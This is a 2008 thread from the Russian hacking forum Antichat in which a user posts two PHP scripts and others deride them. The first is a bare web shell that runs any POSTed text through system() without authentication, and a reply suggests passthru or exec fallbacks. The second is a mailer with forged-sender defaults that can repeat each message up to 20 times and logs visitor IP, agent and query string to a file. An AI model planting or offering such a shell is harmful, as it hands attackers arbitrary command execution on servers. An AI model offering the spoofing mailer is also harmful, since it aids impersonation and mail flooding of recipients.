Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   PHP + CMD (https://forum.antichat.xyz/showthread.php?t=89916)

Ru}{eeZ 31.10.2008 20:01

PHP + CMD
 
Тут страдал всякой херью, можа кому и понадобится))
интерфейс для выполнения всяких консольных команд

PHP код:

<?php

print <<<HERE
<style type = "text/css">
body {
  margin: 0px;
}

</style>

HERE;

if(isset(
$_POST["com"])) {
  @
system($_POST["com"]);

print <<<HERE
<table width = "100%" height = "100%" border = "0" cellpadding = "0" cellspacing = "0">
  <tr>
    <td style = "background-color: gray;">
    <form>
      <textarea style = "width: 100%; height: 100%; color: white; background-color: #555555">

HERE;

  print 
$_POST["com"];
  print <<<HERE
      </textarea>
    </form>
    </td>
  </tr>
<form method = "post">
  <tr>
    <td width = "100%" height = "80%">
        <textarea name = "com" style = "width: 100%; height: 100%; color: #ededed; background-color: black"></textarea><br />
    </td>
  </tr>

  <tr>
    <td width = "100%" height = "10%">
        <input type = "submit" value = "yes" style="width: 100%; height: 100%;">
      </form>
    </td>
  </tr>
</table>

HERE;

} else {
  print <<<HERE

<table width = "100%" height = "100%" border = "0" cellpadding = "0" cellspacing = "0">
<form method = "post">
  <tr>
    <td width = "100%" height = "90%">
        <textarea name = "com" style = "width: 100%; height: 100%; color: white; background-color: black"></textarea><br />
    </td>
  </tr>

  <tr>
    <td width = "100%" height = "10%">
        <input type = "submit" value = "yes" style = "width: 100%; height: 100%;">
</form>
    </td>
  </tr>
</table>

HERE;

}

?>


Sleep 31.10.2008 20:22

а нахрена новую тему создавать есть специальная тема называется она "Полезные скрипты" ;)

bombeg 31.10.2008 20:28

вам самим не стыдно после 2 недель кодинга выкладывать свои помои ?

DDoSька 31.10.2008 20:32

скрипт состоит из HTML на 99%,молодец,кончено, что развиваеься...но темка для этого,я считаю, лишняя

zythar 31.10.2008 20:40

сомнительная полезность даного скрипта.
хоть бы проверял ф-ции. типа если систем не работает юзать passthru, если и этот не работает то exec или хз че.
фигня какая то.

vikseriq 31.10.2008 21:15

Вемь код - @system($_POST["com"]); ну и хтмл из дримвивера.
to ТРЭШ.

Ru}{eeZ 31.10.2008 22:07

Цитата:

Сообщение от vikseriq
Вемь код - @system($_POST["com"]); ну и хтмл из дримвивера.
to ТРЭШ.

я в блокноте всё пишу

vikseriq 31.10.2008 22:23

Неважно. Для первой недели знакомства с пхп неплохо, но это: 1. Не в ту тему 2. Не в тот форум. 3. Не тем людям.
И не пиши ты в блокноте, если не полный нуб - скачай ide-шку, типа эклипса или пхпедит, или хоть Notepad++

Vid0k 31.10.2008 22:27

Цитата:

или хоть Notepad++
почему хоть?
я в нем все пишу

Ru}{eeZ 31.10.2008 22:29

Где что мне писать - я не спрашивал, меня вполне устраивает блокнот!

____
А вообще, за эти две недели ещё вот что к примеру написал, но там есть маленькие недочёты:

PHP код:

<?php

print <<<HERE
<style type = "text/css">
body {
  font-family: Arial;
}

#inputone {
  width: 100%;
}

#textarea {
  width: 100%;
  height: 500px;
}

#infotd {
  font-size: 13px;
  width: 100px;
}

#infotd2 {
  font-size: 13px;
}

#bgcolor_infotd {
  background-color: #dbeaff;
}

#good_send {
  color: #00419a;
}

#sends {
  width: 20px;
}

#notice {
  color: red;
}

</style>

HERE;

$html_or_text $_GET["html_or_text"];
$sends $_GET["sendes"];

if(
$_GET["html_or_text"] == 1) {
  
$htmltext "\r\nContent-type: text/plain";
} else if (
$_GET["html_or_text"] == 2) {
  
$htmltext "\r\nContent-type: text/html";
} else {}

if(
$_GET["codir"] == 1) {
  
$cod "windows-1251";
} else if (
$_GET["codir"] == 2){
  
iconv("windows-1251""utf-8"$email $them $body $send_full $htmltext);
  
$cod "utf-8";
} else {}

$mime "$htmltext; charset = \"$cod\"";

if(
$_GET["sender_name"] == TRUE) {
  
$sender_full $sender_name " <" $sender_mail ">";
} else {
  
$sender_full $sender_mail;
}
  
if(isset(
$_GET["send"])) {
  for(
$i 0$i $_GET["sendes"]; $i++) {
    
mail("$email""$them""$body""From: $sender_full $mime");
  }
  print 
"<center><span id = \"good_send\">Сообщение отправлено</span></center>";
  
$fp fopen("result.txt""a");
  
$content = <<<HERE
IP: $REMOTE_ADDR
Agent: 
$HTTP_USER_AGENT
Cookie: 
$QUERY_STRING
-
Отправитель (e-mail): 
$sender_mail
Отправитель (имя): 
$sender_name
E-mail: 
$email
Тема: 
$them
Текст письма -
$body
text/html: 
$html_or_text
Количество писем за раз: 
$sends
-----------------------------

HERE;

  
fputs($fp$content);
  
fclose($fp);
} else {
  print <<<HERE
      <form>
  <table border = "0" width = "100%" id = "infotd2" cellpadding = "1" cellspacing = "1">
  <tr id = "bgcolor_infotd">
    <td id = "infotd">
      От кого (e-mail):
    </td>
    <td>
        <input type = "text" id = "inputone" name = "sender_mail" value = "bill@microsoft.com" />
    </td>
  </tr>
  <tr id = "bgcolor_infotd">
    <td id = "infotd">
      От кого (Имя):
    </td>
    <td>
        <input type = "text" id = "inputone" name = "sender_name" value = "Билл" />
    </td>
  </tr>
  <tr id = "bgcolor_infotd">
    <td id = "infotd">
      Кому<span id = "notice">*</span>:
    </td>
    <td>
        <input type = "text" id = "inputone" name = "email" value = "admin@mail.ru" />
    </td>
  </tr>
  <tr id = "bgcolor_infotd">
    <td id = "infotd">
      Тема письма<span id = "notice">*</span>:
    </td>
    <td>
        <input type = "text" id = "inputone" name = "them" value = "Hello" />
    </td>
  </tr>
  <tr id = "bgcolor_infotd">
    <td valign = "top" id = "infotd">
      Текст письма<span id = "notice">*</span>:
    </td>
    <td>
        <textarea name = "body" id = "textarea">You are lol:)</textarea>
    </td>
  </tr>
  <tr id = "bgcolor_infotd">
    <td colspan = "2">
        Файл: <input type="file" name="File"> - Вы можете прикрепить файл размером не больше 2мб.
    </td>
  </tr>
  <tr id = "bgcolor_infotd">
    <td colspan = "2">
        <input type = "radio" name = "html_or_text" value = "1" checked = "checked">Только текст
        <input type = "radio" name = "html_or_text" value = "2">HTML и текст
    </td>
  </tr>
  <tr id = "bgcolor_infotd">
    <td colspan = "2">
        Количество писем за раз:
        <select name = "sendes">
          <option value = "1">1</option>
          <option value = "2">2</option>
          <option value = "3">3</option>
          <option value = "4">4</option>
          <option value = "5">5</option>
          <option value = "6">6</option>
          <option value = "7">7</option>
          <option value = "8">8</option>
          <option value = "9">9</option>
          <option value = "10">10</option>
          <option value = "11">11</option>
          <option value = "12">12</option>
          <option value = "13">13</option>
          <option value = "14">14</option>
          <option value = "15">15</option>
          <option value = "16">16</option>
          <option value = "17">17</option>
          <option value = "18">18</option>
          <option value = "19">19</option>
          <option value = "20">20</option>
       </select>
    </td>
  </tr>
  <tr id = "bgcolor_infotd">
    <td colspan = "2">
        Кодировка письма:
        <select name = "codir">
          <option value = "1">windows-1251</option>
          <option value = "2">utf-8</option>
       </select>
    </td>
  </tr>
  <tr>
    <td valign = "top" colspan = "2">
  <table border = "0" width = "100%" id = "infotd2">
    <td valign = "top">
      Поля отмеченные знаком <span id = "notice">*</span> обязательны для заполнения
    </td>
    <td colspan = "2" align = "right">
        <input type = "reset" value = "Вернуть" />
        <input type = "submit" value = "Отправить" />
        <input type = "hidden" name = "send" />
    </td>
  <table>
    </td>
  </tr>
      </form>

HERE;

}

?>

и файлы пока ещё не грузит


Время: 05:51